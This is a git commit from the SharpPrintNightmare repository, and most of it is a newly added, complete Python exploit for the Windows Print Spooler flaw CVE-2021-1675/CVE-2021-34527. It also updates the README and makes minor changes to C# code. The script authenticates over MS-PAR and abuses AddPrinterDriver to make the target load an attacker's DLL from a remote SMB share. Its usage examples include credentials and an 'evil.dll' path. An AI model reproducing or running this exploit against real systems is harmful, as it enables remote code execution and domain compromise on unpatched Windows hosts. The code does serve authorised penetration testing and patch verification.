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New python version with MS-PAR

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
pull/25/merge
cube0x0 11 months ago
parent
commit
56c1f8668e
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  6. 168
      SharpPrintNightmare/CVE-2021-1675.py
  7. 4
      SharpPrintNightmare/README.md
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      SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
  9. 8
      SharpPrintNightmare/SharpPrintNightmare/Program.cs
  10. 4
      SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
  11. 0
      SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt

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SharpPrintNightmare/CVE-2021-1675.py

@ -0,0 +1,168 @@ @@ -0,0 +1,168 @@
#!/usr/bin/python3
from impacket.dcerpc.v5 import par, rpcrt, epm
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import pathlib
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
structure = (
('cVersion','<L'),
('NameOffset', '<L'),
('EnvironmentOffset', '<L'),
('DriverPathOffset', '<L'),
('DataFileOffset', '<L'),
('ConfigFileOffset', '<L'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self,data):
Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')
def connect(username, password, domain, lmhash, nthash, address, port):
stringbinding = epm.hept_map(address, par.MSRPC_UUID_PAR, protocol='ncacn_ip_tcp')
rpctransport = DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(par.MSRPC_UUID_PAR, transfer_syntax = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0'))
return dce
def getDrivers(dce, handle=NULL):
#get drivers
resp = par.hRpcAsyncEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
data = b''.join(resp['pDrivers'])
#parse drivers
blob = DRIVER_INFO_2_BLOB()
blob.fromString(data)
#blob.dump()
return blob
def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = par.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
flags = par.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
resp = par.hRpcAsyncAddPrinterDriver(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = par.hRpcAsyncAddPrinterDriver(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
#connect
dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
if not options.pDriverPath:
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually")
sys.exit(1)
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
else:
pDriverPath = options.pDriverPath
print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share))
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(dce, pDriverPath, options.share)
print("[*] Try 2...")
main(dce, pDriverPath,options.share)
print("[*] Try 3...")
main(dce, pDriverPath,options.share)

4
SharpPrintNightmare/README.md

@ -1,5 +1,9 @@ @@ -1,5 +1,9 @@
# C# Implementation of CVE-2021-1675 / CVE-2021-34527
### Update
New `CVE-2021-1675.py` has been uploaded which will get the same result as the C# version
### Usage
The RCE functionality might need to be executed with local administrator privileges on YOUR machine.

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SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo

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SharpPrintNightmare/SharpPrintNightmare/Program.cs

@ -65,8 +65,8 @@ namespace SharpPrintNightmare @@ -65,8 +65,8 @@ namespace SharpPrintNightmare
Environment.Exit(0);
}
dllpath = args[0];
if(args.Length > 1)
if (args.Length > 1)
{
pDriverPath = args[1];
}
@ -103,7 +103,7 @@ namespace SharpPrintNightmare @@ -103,7 +103,7 @@ namespace SharpPrintNightmare
user = args[4];
password = args[5];
}
//runas /netonly
using (new Impersonator.Impersonation(domain, user, password))
{
@ -171,7 +171,7 @@ namespace SharpPrintNightmare @@ -171,7 +171,7 @@ namespace SharpPrintNightmare
uint cbNeeded = 0;
uint cReturned = 0;
//path = "\\\\192.168.1.20";
if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
{
//succeeds, but shouldn't, because buffer is zero (too small)!

4
SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs

@ -1,4 +0,0 @@ @@ -1,4 +0,0 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]

0
SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt

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